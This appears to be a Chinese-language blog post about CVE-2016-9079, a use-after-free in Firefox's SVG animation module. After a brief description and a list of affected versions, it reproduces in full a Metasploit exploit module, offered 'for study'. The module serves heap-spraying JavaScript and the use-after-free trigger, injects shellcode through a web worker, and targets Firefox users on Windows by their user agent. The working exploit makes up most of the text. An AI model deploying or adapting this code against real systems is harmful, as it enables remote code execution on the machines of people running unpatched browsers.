2016年11月30日，Mozilla Firefox官网发布了一个紧急更新，修补了编号为CVE-2016-9079的漏洞。
该漏洞是一个存在于SVG动画模块中的释放后重用(UAF)漏洞，当用户使用Firefox浏览包含恶意Javascript和SVG代码的页面时，会允许攻击者在用户的机器上远程执行代码。受该漏洞影响的平台包括Windows，Mac OS以及Linux。
详情请见如下链接：
https://www.mozilla.org/en-US/security/advisories/mfsa2016-92/
此漏洞存在于SVG动画模块中，是一个释放后再引用（UAF）的漏洞。根据已曝光的漏洞代码来看，此漏洞影响Firefox的所有运行平台，包括Windows，Linux和Mac OS。
漏洞位于SVG动画的nsSMILTimeContainer::NotifyTimeChange()函数中。以下是触发此漏洞的简单示例代码：
影响的版本：
Firefox version < 50.0.2
Firefox ESR version < 45.5.1
Thunderbird version < 45.5.1
但这个东西怎么玩呢？
2017年1月，Metasploit发布了相关测试代码，贴出来，供学习参考：
EDB-ID: 41151Author: MetasploitPublished: 2017-01-24
CVE: CVE-2016-9079Type: RemotePlatform: Windows
Aliases: N/AAdvisory/Source: LinkTags: Metasploit Framework
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require ‘msf/core’
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
def initialize(info={})
super(update_info(info,
‘Name’ => “Firefox nsSMILTimeContainer::NotifyTimeChange() RCE”,
‘Description’ => %q{
This module exploits an out-of-bounds indexing/use-after-free condition present in
nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox
on Microsoft Windows.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘Anonymous Gaijin’, # Original research/exploit
‘William Webb <william_webb[at]rapid7.com>’ # Metasploit module
],
‘Platform’ => ‘win’,
‘Targets’ =>
[
[ ‘Mozilla Firefox’,
{
‘Platform’ => ‘win’,
‘Arch’ => ARCH_X86,
}
],
],
‘DefaultOptions’ =>
{
‘EXITFUNC’ => “thread”,
‘InitialAutoRunScript’ => ‘migrate -f’
},
‘References’ =>
[
[ ‘CVE’, ‘2016-9079’ ],
[ ‘Bugzilla’, ‘1321066’ ]
],
‘Arch’ => ARCH_X86,
‘DisclosureDate’ => “Nov 30 2016”,
‘DefaultTarget’ => 0
)
)
register_options(
[
OptBool.new(‘UsePostHTML’, [ true, ‘Rewrite page with arbitrary HTML after successful exploitation. NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!’, false ]),
], self.class
)
end
def exploit_html(cli)
p = payload.encoded
arch = Rex::Arch.endian(target.arch)
payload_final = Rex::Text.to_unescape(p, arch, prefix=’\\u’)
base_uri = “#{get_resource.chomp(‘/’)}”
# stuff that gets adjusted alot during testing
defrag_x = %Q~
for (var i = 0; i < 0x4000; i++)
heap80[i] = block80.slice(0)
~
defrag_y = %Q~
for (var i = 0x4401; i < heap80.length; i++)
heap80[i] = block80.slice(0)
~
js = %Q~
var worker = new Worker(‘#{base_uri}/worker.js’);
var svgns = ‘http://www.w3.org/2000/svg’;
var heap80 = new Array(0x5000);
var heap100 = new Array(0x5000);
var block80 = new ArrayBuffer(0x80);
var block100 = new ArrayBuffer(0x100);
var sprayBase = undefined;
var arrBase = undefined;
var animateX = undefined;
var containerA = undefined;
var milestone_offset = 0x90;
var $ = function(id) { return document.getElementById(id); }
var heap = function()
{
var u32 = new Uint32Array(block80)
u32[4] = arrBase – milestone_offset;
u32[0xa] = arrBase + 0x1000 – milestone_offset;
u32[0x10] = arrBase + 0x2000 – milestone_offset;
var x = document.createElementNS(svgns, ‘animate’)
var svg = document.createElementNS(svgns, ‘svg’)
svg.appendChild(x)
svg.appendChild(x.cloneNode(true))
for (var i = 0; i < 0x400; i++)
{
var node = svg.cloneNode(true);
node.setAttribute(‘id’, ‘svg’ + i)
document.body.appendChild(node);
}
#{defrag_x}
for (var i = 0; i < 0x400; i++)
{
heap80[i + 0x3000] = block80.slice(0)
$(‘svg’ + i).appendChild(x.cloneNode(true))
}
for (var i = 0; i < 0x400; i++)
{
$(‘svg’ + i).appendChild(x.cloneNode(true))
$(‘svg’ + i).appendChild(x.cloneNode(true))
}
for (var i = 0; i < heap100.length; i++)
heap100[i] = block100.slice(0)
#{defrag_y}
for (var i = 0x100; i < 0x400; i++)
$(‘svg’ + i).appendChild(x.cloneNode(true))
}
var exploit = function()
{
heap();
animateX.setAttribute(‘begin’, ’59s’)
animateX.setAttribute(‘begin’, ’58s’)
animateX.setAttribute(‘begin’, ’10s’)
animateX.setAttribute(‘begin’, ‘9s’)
// money shot
containerA.pauseAnimations();
}
worker.onmessage = function(e)
{
worker.onmessage = function(e)
{
window.setTimeout(function()
{
worker.terminate();
document.body.innerHTML = ”;
document.getElementsByTagName(‘head’)[0].innerHTML = ”;
document.body.setAttribute(‘onload’, ”)
document.write(‘<blink>’)
}, 1000);
}
arrBase = e.data;
exploit();
}
var idGenerator = function()
{
return ‘id’ + (((1+Math.random())*0x10000)|0).toString(16).substring(1);
}
var craftDOM = function()
{
containerA = document.createElementNS(svgns, ‘svg’)
var containerB = document.createElementNS(svgns, ‘svg’);
animateX = document.createElementNS(svgns, ‘animate’)
var animateA = document.createElementNS(svgns, ‘animate’)
var animateB = document.createElementNS(svgns, ‘animate’)
var animateC = document.createElementNS(svgns, ‘animate’)
var idX = idGenerator();
var idA = idGenerator();
var idB = idGenerator();
var idC = idGenerator();
animateX.setAttribute(‘id’, idX);
animateA.setAttribute(‘id’, idA);
animateA.setAttribute(‘end’, ’50s’);
animateB.setAttribute(‘id’, idB);
animateB.setAttribute(‘begin’, ’60s’);
animateB.setAttribute(‘end’, idC + ‘.end’);
animateC.setAttribute(‘id’, idC);
animateC.setAttribute(‘begin’, ’10s’);
animateC.setAttribute(‘end’, idA + ‘.end’);
containerA.appendChild(animateX)
containerA.appendChild(animateA)
containerA.appendChild(animateB)
containerB.appendChild(animateC)
document.body.appendChild(containerA);
document.body.appendChild(containerB);
}
window.onload = craftDOM;
~
# If you want to change the appearance of the landing page, do it here
html = %Q~
<html>
<head>
<meta charset=”utf-8″/>
<script>
#{js}
</script>
</head>
<body>
</body>
</html>
~
if datastore[‘UsePostHTML’]
f = File.open(File.join(Msf::Config.data_directory, “exploits”, “firefox_smil_uaf”, “post.html”), “rb”)
c = f.read
html = html.gsub(“<blink>”, c)
else
html = html.gsub(“<blink>”, “”)
end
send_response(cli, html, { ‘Content-Type’ => ‘text/html’, ‘Pragma’ => ‘no-cache’, ‘Cache-Control’ => ‘no-cache’, ‘Connection’ => ‘close’ })
end
def worker_js(cli)
p = payload.encoded
arch = Rex::Arch.endian(target.arch)
payload = Rex::Text.to_unescape(p, arch)
wt = File.open(File.join(Msf::Config.data_directory, “exploits”, “firefox_smil_uaf”, “worker.js”), “rb”)
c = wt.read
c = c.gsub(“INSERTSHELLCODEHEREPLZ”, payload)
c = c.gsub(“NOPSGOHERE”, “\u9090”)
send_response(cli, c, { ‘Content-Type’ => ‘application/javascript’, ‘Pragma’ => ‘no-cache’, ‘Cache-Control’ => ‘no-cache’, ‘Connection’ => ‘close’ })
end
def is_ff_on_windows(user_agent)
target_hash = fingerprint_user_agent(user_agent)
if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/
return false
end
return true
end
def on_request_uri(cli, request)
print_status(“Got request: #{request.uri}”)
print_status(“From: #{request.headers[‘User-Agent’]}”)
if (!is_ff_on_windows(request.headers[‘User-Agent’]))
print_error(“Unsupported user agent: #{request.headers[‘User-Agent’]}”)
send_not_found(cli)
close_client(cli)
return
end
if request.uri =~ /worker\.js/
print_status(“Sending worker thread Javascript …”)
worker_js(cli)
return
end
if request.uri =~ /index\.html/ or request.uri =~ /\//
print_status(“Sending exploit HTML …”)
exploit_html(cli)
close_client(cli)
return
end
end
end
